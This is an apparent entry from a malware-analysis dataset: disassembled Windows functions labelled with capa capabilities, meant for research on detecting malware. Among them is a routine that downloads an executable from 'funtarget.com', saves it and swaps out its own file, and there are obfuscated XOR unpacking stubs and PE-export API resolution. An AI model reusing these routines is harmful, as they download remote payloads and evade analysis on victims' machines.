joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4109c0
Capabilities:
Move file
Terminate process

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
call fcn.004075b0
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4109d2
sub eax, edx
mov esi, eax
call fcn.004075b0
cmp dword [0x43c380], 0
mov ebx, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov edi, eax
jne 0x410a1a
push 0x104
call fcn.0041bc9a
add esp, 4
push 0x104
push eax
push 0
mov dword [0x43c380], eax
call ebp
push eax
call ebx
cmp esi, 4
mov eax, dword [0x43c380]
jb 0x410a38
mov ecx, dword [eax]
cmp ecx, dword [edi]
jne 0x410a3c
sub esi, 4
add edi, 4
add eax, 4
cmp esi, 4
jae 0x410a24
test esi, esi
je 0x410a99
movzx ecx, byte [eax]
movzx edx, byte [edi]
sub ecx, edx
jne 0x410a8b
sub esi, 1
add edi, 1
add eax, 1
test esi, esi
je 0x410a99
movzx ecx, byte [eax]
movzx edx, byte [edi]
sub ecx, edx
jne 0x410a8b
sub esi, 1
add edi, 1
add eax, 1
test esi, esi
je 0x410a99
movzx ecx, byte [eax]
movzx edx, byte [edi]
sub ecx, edx
jne 0x410a8b
sub esi, 1
add edi, 1
add eax, 1
test esi, esi
je 0x410a99
movzx ecx, byte [eax]
movzx eax, byte [edi]
sub ecx, eax
je 0x410a99
test ecx, ecx
mov eax, 1
jg 0x410a9b
or eax, 0xffffffff
jmp 0x410a9b
xor eax, eax
test eax, eax
je 0x410bc7
mov ecx, dword [0x43c2f8]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push str.http:__funtarget.com_t_cm.exe
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x410b2a
lea edx, [esp + 0x10]
push edx
push esi
xor eax, eax
call fcn.00407ba0
add esp, 8
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
je 0x410b2a
call fcn.004075b0
push eax
lea eax, [esp + 0x18]
push str._scm.exe
push eax
call fcn.0041bec6
mov ecx, dword [esp + 0x1c]
add esp, 0xc
push ecx
lea edx, [esp + 0x18]
push edi
push edx
call fcn.00407810
add esp, 0xc
push edi
call fcn.0041bb78
add esp, 4
push 0
mov edi, 0x431d53
lea eax, [esp + 0x18]
call fcn.00407a10
add esp, 4
call fcn.0041c0ba
push eax
call fcn.004075b0
push eax
lea eax, [esp + 0x1c]
push 0x436e48
push eax
call fcn.0041bec6
add esp, 0x10
cmp dword [0x43c380], 0
jne 0x410b70
push 0x104
call fcn.0041bc9a
add esp, 4
push 0x104
push eax
push 0
mov dword [0x43c380], eax
call ebp
push eax
call ebx
mov edx, dword [0x43c380]
lea ecx, [esp + 0x14]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push 0
mov edi, str.up534
lea eax, [esp + 0x18]
call fcn.00407a10
add esp, 4
push 0x43c258
mov byte [0x43c270], 1
call dword [sym.imp.KERNEL32.DLL_DeleteCriticalSection]
call fcn.00403bc0
mov eax, dword [0x43c2fc]
push eax
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x410be0
Capabilities:
Create http request
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.0041c0ad
add esp, 4
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_4.0__compatible__MSIE_7.0__Windows_NT_5.1_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp + 0x10]
push str.restart
push esi
mov dword [0x43c2f8], eax
call fcn.0041c7a0
add esp, 8
test eax, eax
sete al
push 0x4032a0
mov byte [0x43c328], al
call dword [sym.imp.KERNEL32.DLL_SetUnhandledExceptionFilter]
call fcn.004109c0
push str.up534
push esi
call fcn.0041c7a0
add esp, 8
test eax, eax
je 0x410c53
call fcn.00410440
lea ecx, [esp + 0x10]
push ecx
push ebx
push ebx
push 0x4055f0
push ebx
push ebx
mov byte [0x43c270], bl
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x43c258
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
call fcn.00406a30
push 0x3e8
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], 0x410250
mov byte [esp + 0x24], 1
mov byte [esp + 0x25], bl
call fcn.004054c0
mov dword [esp + 0x20], eax
add esp, 4
lea eax, [esp + 0x1c]
call fcn.004059b0
mov edi, eax
mov ecx, 7
lea esi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
push 0x927c0
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], fcn.004104d0
mov byte [esp + 0x24], 1
mov byte [esp + 0x25], bl
call fcn.004054c0
mov dword [esp + 0x20], eax
add esp, 4
lea eax, [esp + 0x1c]
call fcn.004059b0
mov edi, eax
mov ecx, 7
lea esi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
call fcn.00403800
push ebx
call fcn.004104d0
add esp, 4
call fcn.00403ac0
call fcn.00410950
push 0x43c258
mov byte [0x43c270], 1
call dword [sym.imp.KERNEL32.DLL_DeleteCriticalSection]
call fcn.00403bc0
mov edx, dword [0x43c2fc]
push edx
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41aab0
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x5c], ecx
mov eax, 1
ret

Function at 0x41e449
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43a630]
jne 0x41e453
repz ret
jmp fcn.004242ba

Function at 0x4249c5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00420f6d
xor ebx, ebx
cmp dword [0x43c000], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x424a9a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x424a05
xor eax, eax
jmp 0x424b5e
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x4249fe
push eax
call fcn.00420f0a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43c000], eax
call esi
push eax
call fcn.00420f0a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43c004], eax
call esi
push eax
call fcn.00420f0a
mov dword [0x43c008], eax
lea eax, [ebp - 8]
push eax
call fcn.0041f9c1
test eax, eax
pop ecx
pop ecx
je 0x424a68
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041bf7d
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x424a9a
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00420f0a
cmp eax, ebx
pop ecx
mov dword [0x43c010], eax
je 0x424a9a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00420f0a
pop ecx
mov dword [0x43c00c], eax
mov eax, dword [0x43c00c]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x424b13
cmp dword [0x43c010], esi
je 0x424b13
push eax
call fcn.00420f76
pop ecx
call eax
cmp eax, ebx
je 0x424ae0
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x43c010]
call fcn.00420f76
pop ecx
call eax
test eax, eax
je 0x424ae0
test byte [ebp - 0x18], 1
jne 0x424b13
lea eax, [ebp - 0xc]
push eax
call fcn.0041f9f8
test eax, eax
pop ecx
je 0x424afb
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041bf7d
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x424b0a
or dword [ebp + 0x10], 0x200000
jmp 0x424b44
or dword [ebp + 0x10], 0x40000
jmp 0x424b44
mov eax, dword [0x43c004]
cmp eax, esi
je 0x424b44
push eax
call fcn.00420f76
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x424b44
mov eax, dword [0x43c008]
cmp eax, esi
je 0x424b44
push dword [ebp - 4]
push eax
call fcn.00420f76
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x43c000]
call fcn.00420f76
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40a3fb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40a40a
pop dword [ebp - 0x20]
mov eax, 0xa23c4352
sub eax, 0xa1fb9f48
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xbb7e0ba3
sub dword [ebp - 0x30], 0x6d2bc658
mov dword [ebp - 0x2c], 0xe7122348
sub dword [ebp - 0x2c], 0xb4ded703
mov dword [ebp - 0x28], 0x681d43b4
sub dword [ebp - 0x28], 0x1bd0ff86
mov dword [ebp - 0x24], 0x8fe4812d
sub dword [ebp - 0x24], 0x8fe4812d
lea eax, [ebp - 0x30]
push eax
mov eax, 0x6b324471
sub eax, 0x6af013fd
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xefb05531
add dword [ebp - 0x30], 0x84c21425
mov dword [ebp - 0x2c], 0x210930d6
sub dword [ebp - 0x2c], 0xdf9ccf61
mov dword [ebp - 0x28], 0x47548b0d
sub dword [ebp - 0x28], 0xe3e51ea1
mov dword [ebp - 0x24], 0x47fc47ed
add dword [ebp - 0x24], 0xb803b813
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3c153
push 0
call eax
mov ecx, 0x4196
xor edx, edx
add edx, eax
mov ebx, 0xe282c30f
add ebx, 0x1dc080f1
add ebx, dword [ebp - 0x20]
mov edi, 0xd2809153
sub edi, 0x7f14985
add dword [ebp - 8], 0xb5d9783c
mov esi, dword [ebx]
xor dword [ebp - 0x18], esi
sub esi, edi
mov dword [edx], esi
add dword [ebp - 0x14], 0xe01f3dec
add edx, 0x11a7c412
add edx, 0xee583bf2
add ebx, 0x4e2d5e11
sub ebx, 0x4e2d5e0d
loop 0x40a523
add eax, 0x4caa295a
sub eax, 0x4ca9302f
mov ebx, eax
add eax, 0x70711228
sub eax, 0x70711223
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0xee1654
Capabilities:
Encode data using xor

Disassembly:
jmp 0xee165e
pushal
call 0xee1664
pop ebp
sub ebp, 0x10
sub ebp, 0xae1654
jmp 0xee167a
mov eax, 0xae1654
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b3
mov edx, 0x1d521fdb
xor byte [eax], dl
inc eax
dec ecx
jne 0xee1691
jmp 0xee16a4
push eax
push ss
push eax
push edx
out 0xdb, eax
fcmovnu st(0), st(3)
pop edx
sbb ah, byte [ebx]
fcmovnu st(0), st(3)
fcmovnu st(0), st(0)
push ss
arpl bp, bx
fcmovnu st(0), st(3)
invalid
Function at 0x10031820
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1004f37c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10031850
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10031880
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10031880
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1003197a
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x100318a9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100318dd
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x1003197a
cmp eax, 1
jle 0x1003193b
cmp eax, 3
jne 0x1003197a
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call sym.ahclient.dll_SearchHelp
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10031959
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1003197a
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1003197a
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
Function at 0x10036f80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003ecf8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004f37c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1004f338]
cmp eax, 0xffffffff
jne 0x10036fb6
xor ebx, ebx
jmp 0x10036fbf
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x10036fff
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003703e
test esi, esi
jne 0x10037042
push 0x10035760
push 0x10050e58
call sym.ahclient.dll_SearchHelp
mov eax, dword [0x1004f338]
add esp, 8
cmp eax, 0xffffffff
je 0x10036fff
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003702c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003702c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x10037084
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x1003706d
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x10037042
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10036fd0
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x100370a9
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x100370a9
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call sym.ahclient.dll_SearchHelp
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x10037090
jmp 0x10036fd0

Function at 0x100370d0
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push esi
mov esi, ecx
mov edx, dword [esi]
lea eax, [edx + 0x10]
push eax
push 4
push edx
push 0x10037130
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov ebx, eax
add esp, 0x18
test ebx, ebx
jne 0x100370fa
pop esi
xor al, al
pop ebx
ret
mov eax, dword [esi]
push edi
add eax, 4
lock inc dword [eax]
mov edi, dword [esi]
mov eax, dword [edi + 8]
test eax, eax
je 0x10037118
cmp eax, 0xffffffff
je 0x10037118
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [edi + 8], ebx
mov eax, dword [esi]
push dword [eax + 8]
call dword [sym.imp.kernel32.dll_ResumeThread]
pop edi
pop esi
mov al, 1
pop ebx
ret
Function at 0x10002d90
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
sub eax, 3
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov edx, dword [0x1005d134]
sub edx, dword [0x1005d12c]
mov eax, dword [0x1005d130]
imul eax, dword [0x1005d134]
sub edx, eax
add edx, dword [0x1005d134]
mov ecx, dword [0x1005d134]
imul ecx, dword [0x1005d12c]
add edx, ecx
mov eax, dword [0x1005d134]
imul eax, dword [0x1005d134]
imul eax, dword [0x1005d134]
imul eax, dword [0x1005d134]
sub edx, eax
sub edx, dword [0x1005d134]
sub edx, dword [0x1005d12c]
mov ecx, dword [0x1005d130]
imul ecx, dword [0x1005d134]
sub edx, ecx
add edx, dword [0x1005d134]
mov eax, dword [0x1005d134]
imul eax, dword [0x1005d12c]
add eax, dword [ebp + 8]
add eax, edx
mov ecx, dword [ebp - 8]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + 0x78]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x20], 0
jmp 0x10002e73
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [eax + 0x18]
jae 0x10002ebb
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.10002d10
add esp, 4
cmp eax, dword [ebp + 0xc]
jne 0x10002eb9
mov eax, dword [ebp - 0x24]
jmp 0x10002ebd
jmp 0x10002e6a
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100055a6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x100055bb
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x100055cd
xor eax, eax
jmp 0x100055ff
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x100055f1
cmp esi, eax
jae 0x100055c9
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x100055e3
cmp esi, eax
jae 0x100055c9
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop ebp
ret

Function at 0x10007a8d
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.10007a50
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10007b28
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x1006195c]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x10007b28
cmp eax, 1
je 0x10007b49
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10007b28
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x10007af5
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x10007b24
xor eax, eax
inc eax
jmp 0x10007b68
cmp edi, eax
jae 0x10007b2c
xor eax, eax
jmp 0x10007b68
cmp eax, esi
jae 0x10007b33
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x1006195c]
jmp 0x10007b4c
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100085b7
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 1
push esi
jne 0x100086a7
mov eax, 0x94
call fcn.10007a50
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x1000871c
mov ecx, dword [esi + 0x10]
mov dword [0x1006195c], ecx
mov eax, dword [esi + 4]
mov dword [0x10061968], eax
mov edx, dword [esi + 8]
mov dword [0x1006196c], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x10061960], esi
je 0x10008622
or esi, 0x8000
mov dword [0x10061960], esi
shl eax, 8
add eax, edx
push 1
mov dword [0x10061964], eax
call fcn.1000a33b
test eax, eax
pop ecx
je 0x1000871c
call fcn.1000bb8f
test eax, eax
jne 0x1000864f
call fcn.1000a38c
jmp 0x1000871c
call fcn.1000d18c
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x100633f0], eax
call fcn.1000d06a
mov dword [0x10061948], eax
call fcn.1000cb4b
test eax, eax
jl 0x100086a0
call fcn.1000cfc8
test eax, eax
jl 0x1000869b
call fcn.1000cd95
test eax, eax
jl 0x1000869b
push 0
call fcn.10008ae8
test eax, eax
pop ecx
jne 0x1000869b
inc dword [0x10061944]
jmp 0x1000872d
call fcn.1000cd49
call fcn.1000b978
jmp 0x10008645
test eax, eax
jne 0x100086d7
cmp dword [0x10061944], eax
jle 0x1000871c
dec dword [0x10061944]
cmp dword [0x10061998], eax
jne 0x100086c6
call fcn.10008c26
call fcn.1000cd49
call fcn.1000b978
call fcn.1000a38c
jmp 0x1000872d
cmp eax, 2
jne 0x10008720
push 0x8c
push 1
call fcn.1000982d
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x1000871c
push esi
push dword [0x1005e9bc]
call dword [0x10061b08]
test eax, eax
push esi
je 0x10008716
call fcn.1000b995
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
jmp 0x1000872d
call fcn.10007458
pop ecx
xor eax, eax
jmp 0x10008730
cmp eax, 3
jne 0x1000872d
push 0
call fcn.1000bb60
pop ecx
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc

Function at 0x10008b52
Capabilities:
Terminate process

Disassembly:
push 8
push 0x1004fbe0
call fcn.10008dc8
push 8
call fcn.1000a55e
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x1006199c], esi
jne 0x10008b86
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x10061998], esi
mov al, byte [ebp + 0x10]
mov byte [0x10061994], al
cmp dword [ebp + 0xc], edi
jne 0x10008bd0
cmp dword [0x100633e8], edi
je 0x10008bc0
mov eax, dword [0x100633e4]
sub eax, 4
mov dword [0x100633e4], eax
cmp eax, dword [0x100633e8]
jb 0x10008bc0
mov eax, dword [eax]
cmp eax, edi
je 0x10008ba1
call eax
jmp 0x10008ba1
push 0x1005d0b4
mov eax, 0x1005d0ac
call fcn.10008ad0
pop ecx
push 0x1005d0c0
mov eax, 0x1005d0b8
call fcn.10008ad0
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x10008c01
cmp dword [ebp + 0x10], edi
jne 0x10008c0f
mov dword [0x1006199c], esi
push dword [ebp + 8]
call fcn.10008a8e
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x10008c0e
push 8
call fcn.1000a4a9
pop ecx
ret
call fcn.10008e03
ret